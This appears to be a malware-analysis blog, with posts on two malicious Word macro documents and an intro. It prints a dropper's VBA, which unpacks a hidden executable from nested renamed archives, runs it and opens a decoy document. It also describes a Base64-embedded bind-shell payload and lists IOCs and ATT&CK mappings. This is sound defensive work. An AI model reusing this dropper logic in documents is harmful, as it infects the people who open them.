Based on the analysis, it appears that when the document is opened it performs the following actions:

the malicious document is copied to a path within the user’s profile
The document is renamed and the .zip extension is added.
The .zip is extracted
A .bin file is extracted from the previously extracted files, and its extension is changed to .zip.
The contents of the .zip file are extracted, and it contains another .bin file.
The extension of the new .bin file is changed to .exe.
The .exe is executed in the background
Another file is extracted from the original document (files obtained in step 3) and copied to the user’s “Documents” folder with extension .docx.
The .docx file is opened

As part of the analysis we can see another way attackers use to evade defenses: the malicious binary (.exe) was stored inside 2 compressed files, each with a .bin extension. If an antivirus looked for the signature of the .exe file it would not find it because it is compressed; similarly, if it relied on the extension to determine the file type, it might not detect the .bin as a compressed file.

Now that we have an idea of what the malicious document is doing, we proceed to execute it in a controlled manner to verify if the analysis was correct.

Dynamic analysis of the file

Before we begin with the dynamic analysis we open Procmon y Process Explorer, since we know that the macro interacts with folders and that it starts new processes.

When we try to open the Visual Basic editor (before clicking on “Enable content”), we realize that it has a password:

Although the Visual Basic editor does not let us access the content without having the password, we were already able to visualize the macros previously by using olevba, which tells us that Microsoft Office does not store the macros encrypted at rest. That means that adding a password is not an effective control if what we are looking for is that they are not analyzed.

To skip the roadblock we have two options:

Execute the VBA code from a different file (since we obtained it previously with olevba)
Bypass the restriction in the original file

On this occasion I opted for the second option (how is beyond the scope of this article, but a quick Google search should suffice).

Once we have the macro open, we can use the F8 key to move instruction by instruction. We can use the “Locals” window to see the content being assigned to the variables as the instructions are executed:

The first interesting operation we expect is the creation of a folder named Wrdix+number in the user’s path (in this case C:\users\tmn):

 mfolder = Environ$("USERPROFILE") & "\Wrdix" & "" & Second(Now) & "\"
 
 If Dir(mfolder, vbDirectory) = "" Then
 MkDir (mfolder)
 End If

We can verify that the directory was indeed created both by inspecting the folder and by using Procmon:

The next operation we expect is for the document to be copied to the folder created, renamed domcxs.zip and extracted:

 FSEDEO.CopyFile Application.ActiveDocument.FullName, mfolder & Replace("do_mc_xs", "_", ""), True
 Name mfolder & Replace("do_mc_xs", "_", "") As mfolder & Replace("do_mc_xs.zi_p", "_", "")
 mShellApplication.Namespace(mfolder).CopyHere mShellApplication.Namespace(mfolder & Replace("do_mc_xs.zi_p", "_", "")).items

Then, we expect the file word\embeddings\oleObject1.bin to be renamed to “vteijam hdgtra.zip”, extracted and the name of the extracted file to be changed to “vteijam hdgtra.exe”:

 'The file mfolder\word\embeddings\oleObject1.bin is renamed to "mfoldder\word\vteijam hdgtra.zip"
 Name mfolder & "word\embeddings\oleObject1.bin" As mfolder & "word\" & mfile & Replace(".z_ip", "_", "")

 'The contents of "mfoldder\word\vteijam hdgtra.zip" are extracted to mfolder
 mShellApplication.Namespace(mfolder).CopyHere mShellApplication.Namespace(mfolder & "word\" & mfile & Replace(".z_ip", "_", "")).items
 
 'The file mfolder\oleObjectfilewedum.bin is renamed as mfolder\mfile.exe
 Name mfolder & "oleObject" & filewedum & ".bin" As mfolder & mfile & Replace(".e_xe", "_", "")

Finally, the binary “vteijam hdgtra.exe” is executed:

We can verify the creation of the new process in Process Explorer and in Procmon:

Although the payload embedded in the Word document has already been started, the attacker still has one more task to do in order not to cause any suspicion:

 'The file mfolder\word\embeddings\oleObject3.bin is copied as C:\users\USER\Documents\nameOfMaliciousDocument.docx
 Dim dokc_paeth As String
 
 dokc_paeth = Environ$("USERPROFILE") & "\Documents\" & Application.ActiveDocument.Name & ".docx"
 
 If Dir(dokc_paeth) = "" Then
 Name mfolder & "word\embeddings\oleObject3.bin" As dokc_paeth
 End If
 
 'The newly copied file is opened
 
 Documents.Open FileName
 = dokc_paeth, ConfirmConversions
 = False, _
 ReadOnly
 = False, AddToRecentFiles
 = False, PasswordDocument
 = "", _
 PasswordTemplate
 = "", Revert
 = False, WritePasswordDocument
 = "", _
 WritePasswordTemplate
 = "", Format
 = wdOpenFormatAuto, XMLTransform
 = ""

By creating and opening the new file, the victim is shown the expected Word document.

Finally, we validate in Procmon that the second stage started performing actions:

The malicious payload is a C2 agent, the analysis of which we will explore in the second part of the post.

Conclusions

As we saw in the analysis, exploring how a dropper works allows us to understand the different techniques that an attacker may follow to prevent the malware they developed from being identified: whether it is adding passwords to macros, obfuscating (albeit slightly) the names of variables and functions, or embedding the malicious payloads under multiple layers and renames, everything is intended to hinder manual analysis and rapid identification by automated tools that rely on known signatures and patterns.

Even so, the behavior that the document exhibits (creating a folder, extracting files, executing an .exe) is not standard for a normal document, so there is still a chance of detection by analyzing what the file does when executed.

As part of this analysis, we were able to identify different indicators of compromise: files with a static name, hashes of the various compressed and executable files, as well as folders created. The identified IOCs are detailed in section 7.

The malicious payload corresponds to an agent that communicates with a Command and Control server. In the second part of the post we will explore how the agent works, the actions it performs and how we can obtain indicators of compromise from it.

MITRE ATT&CK mapping

ID	Tactic	Technique	Description
T1027.009	Defense evasion	Obfuscated Files or Information: Embedded Payloads	Malicious payloads where embebed in the document
T1027.010	Defense evasion	Obfuscated Files or Information: Command Obfuscation	Character substitution was used to obfuscate commands
T1036.008	Defense evasion	Masquerade File Type	The executable file’s extension was changed to .bin
T1204.002	Execution	User Execution: Malicious File	It requires the user to open the file
T1059.005	Execution	Command and Scripting Interpreter: Visual Basic	VBA was used for command execution

IOC

IOC	Type	Description
22ce9042f6f78 202c6c346cef1b6e532	MD5 hash	Malicious .docm
e31ac765d1e97 698bc1efe443325e497	MD5 hash	Malicious compressed file (oleObject1.bin)
59211a4e0f27d 70c659636746b61945a	MD5 hash	Malicious payload 1
1d493e326d91c 53e0f2f4320fb689d5f	MD5 hash	Malicious payload 2
efed06b2fd437 d6008a10d470e2c519f	MD5 hash	decoy .docx
vteijam hdgtra.exe	Nombre	Malicious binary
C:\users\[^\]+\Wrdix\d+$	Ruta	Path of malicious executable (C:\users\USER\WrdixNUM)

002 - Analyzing a Malicious Macro

Wed, 06 Dec 2023 12:08:00 -0500

Introduction

For this first post (second if we count the intro) I decided to analyze a malicious macro for the following reasons:

Macros allow us to analyze the code they contain, which I felt would be good to start with as opposed to going straight into analyzing a binary.
Macros are often used as “Droppers” to load other malware onto a system.
Macros are frequently abused in social engineering attacks, because users are used to opening Office files.

The malware chosen for analysis has the hash 97806d455842e36b67fdd2a763f97281 and can be downloaded from the following link.

Disclaimer: Running malware on a personal or corporate device can put your information/your company’s information at risk. Never run malware on a device that has not been specifically configured for malware analysis.

Static analysis

Obtaining the malicious document hashes

Once the .zip is downloaded and extracted, we get a .docm file (Microsoft Word macro-enabled file), which has the following hashes:

Algorithm	Hash
MD5	97806d455842e36b67fdd2a763f97281
SHA256	ab518a86b77fe842821b50d182b9394d 2a59d1c64183a37eb70a6cac100b39f8

File analysis with olevba

We start the analysis with olevba, which is a program that allows us to find and extract information from files that contain macros without the need for us to execute those files.

Using the -a parameter we can obtain an initial analysis of the file:

olevba.exe -a .\ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8.docm

As part of the analysis we notice that olevba identifies some suspicious text strings, among which the following are of particular interest:

AutoOpen: function that is executed when the file is opened, without requiring user interaction (apart from enabling macros if they are disabled).
WScript.Shell: object that allows executing a command in the system.
libc.dylib and system: strings that could be related to command execution on MacOS systems.

Additionally, we see that olevba detects some URLs as possible IOCs; it will be of interest to analyze what the URLs are being used for, as they may be used to store malicious binaries, as a command and control server (C2), or be false positives.

Using the -c parameter we can obtain the VBA code, where we find multiple functions:

olevba.exe -c .\ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8.docm

AutoOpen(): function that is executed when the file is opened.
ExecuteForWindows(code) and ExecuteForOSX(code): functions that by their names seem to execute code based on the operating system.
Base64Decode(ByVal base64String): function that by its name seems to decode a Base64 encoded text.

Analyzing the AutoOpen function, we verify that when the .docm file is opened, it iterates through the file properties looking for the “Comments” property, extracts a value from that property, obtains part of that value, decodes it using the Base64Decode(ByVal base64String) function and passes it as a parameter to the ExecuteForWindows(code)/ExecuteForOSX(code) functions, depending on which OS it is running:

When we look at the file’s properties, it is not obvious that there is a comment stored in them, but after double clicking the property the content appears:

If we would like to extract the comment programmatically, we can use powershell:

#We assign the file to a variable
$file = "C:\Analisis\ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8.docm"

#We create an Shell.Application object to be able to access files properties
$shell = New-Object -ComObject Shell.Application

#We obtain a reference to the file through the object previously created
$item = $shell.Namespace((Get-Item $file).DirectoryName).ParseName((Get-Item $file).Name)

#We obtain the "Comment" property
$comments = $item.ExtendedProperty("System.Comment")

#We save the content of the property to a text file
$comments > comments.txt

Once the input is identified, we proceed to analyze the function that is decoding it. Inside the function we see a comment that references Motobit, along with the URLs that olevba identified as IOCs:

Since the URLs are not being used, we discard them as false positives (because there are other programs that may contain such URLs without necessarily being malicious); by searching the text of the comments in Google we identify the code from which the function came.

Finally, we analyze the functions where the decoded text is sent:

In the case of MacOS it is simple: the text is passed to the Python interpreter to be executed; on the other hand, if the OS is Windows, it does the following:

The variable tmp_folder is assigned to the path stored in the TMP enviromental variable
A file with a random name is created (tmp_name) on that path and it is appended a .exe extension
The file is executed using the WScript.Shell object

Dynamic analysis

Controlled Macro Execution

Now that we have more details of what the macro does, we can check if the analysis was correct by running it in a controlled manner. When we open the file, we see that it has a message indicating that the document was created by a more recent version of Microsoft Office, and that macros must be enabled to view it; this message is false, and aims to trick the user into enabling macros and thus trigger the code within the AutoOpen() function.

Before clicking on “Enable content” we press ALT+F11 to open the Visual Basic editor, where we verify that the same functions we identified with olevba are present:

As we saw when analyzing the functions with olevba, the content of the “Comments” property is extracted and decoded using the Base64Decode() function; we can obtain the decoded file by editing the AutoOpen() function and using the following code:

Dim n As Integer
n = FreeFile()
Open "C:\analisis\orig_val.txt" For Output As #n
Print #n, orig_val
Close #n

To prevent the program from executing, we can comment out the calls to ExecuteForOSX(code) and ExecuteForWindows(code):

By analyzing the extracted file with the PEStudio tool, we verify that it is an executable (we could also validate the file header, or use the UNIX file command):

Another way to get the binary (as well as the path from where it will be executed) is by printing the tmp_name variable in the ExecuteForWindows(code) function and commenting out the call to (“WScript.Shell”).Run to avoid executing the binary:

Analysis of the obtained binary

Before continuing with the dynamic analysis, we will briefly statically analyze the binary that executes the macro.

First, we obtain the hash of the binary:

Algoritmo	Hash
MD5	22C65826A225917645DBA4BF7CD019DE
SHA256	21FE58C62243FCB030B1627233C77BDE 7319F7E932F4F581B8F1DB49AA4C4F99

Searching for the hash in VirusTotal, we verify that signatures are already present in most antivirus programs.

After opening the binary in PEStudio we find some strings of interest:

The binary appears to be impersonating ApacheBench. Additionally, we verify that it contains a string that references “C:\local0\asf\release\build-2.2.14\support\Release\ab.pdb” in the debug property. Searching for that string on Google gives us references to Shellcodes created with Metasploit.

Running the binary

Since the objective of this article was to analyze a malicious macro, I will not go into detail on how to statically analyze the .exe we obtained (maybe I will in a future article); however, I thought it was important to highlight some findings I identified while analyzing the binary dynamically.

To start, we open Procmon, Process Explorer and TCPView, which are tools from the SysInternals suite. In Procmon, we create a filter with the name of the executable (in this case renamed to sample.exe) and run the file.

When executing the file we validate that it simulates being ApacheBench, even having “Apache Software Foundation” as its publisher:

Analyzing Procmon we see several actions on the registry, folders and processes; however, of special interest is that we see in TCPView that the process started receiving connections on port 80:

Seeing the open port, and remembering that as part of the analysis I had seen references to Metasploit shellcodes, I wondered…. Could it really be that simple, a bind shell waiting for connections?

To validate, from another machine connected to the same network (both on their own network, with no connection to other systems nor the internet), I used netcat to connect to port 80 and… it worked!

Indeed, in Process Explorer we can verify that the process “sample.exe " started a subprocess “cmd.exe”

And, when trying to create a file, we confirm that we succeed:

Conclusions

When I chose the malware sample, I did not know what I would encounter; there was the possibility that the macro would contain obfuscated code, call powershell, or try to download a second stage from an already extinct server. Fortunately this was not the case and it contained the second stage embedded as part of the code, which allowed me to get to a deeper level of analysis.

I also didn’t expect to come across a bind shell that I could connect to that wasn’t using any kind of encryption! I don’t know if it was luck or what, but it made the analysis much more interesting.

See you on the next article with a new malware!

IOC

File	Algorithm	Hash
macro.docm	MD5	97806d455842e36b67fdd2a763f97281
macro.docm	SHA256	ab518a86b77fe842821b50d182b9394d2a59d1c64183a37eb70a6cac100b39f8
shell.exe	MD5	22C65826A225917645DBA4BF7CD019DE
shell.exe	SHA256	21FE58C62243FCB030B1627233C77BDE7319F7E932F4F581B8F1DB49AA4C4F99

001 - Intro

Tue, 05 Dec 2023 11:25:41 -0500

Hello! Welcome to my blog, where I plan to document the different techniques one can use to analyze malware, both statically and dynamically.

Why do a blog related to malware analysis? Understanding the different techniques that an attacker uses to achieve their goal is something that I have been interested in for years, from simple phishing emails to complicated Stuxnet-style software.

The goal of the blog is to share knowledge and encourage learning; however, I would not consider myself an expert, so if I left anything out or you have any suggestion, let me know! You can contact me at contact@threatanatomy.com.

Thanks for reading the blog!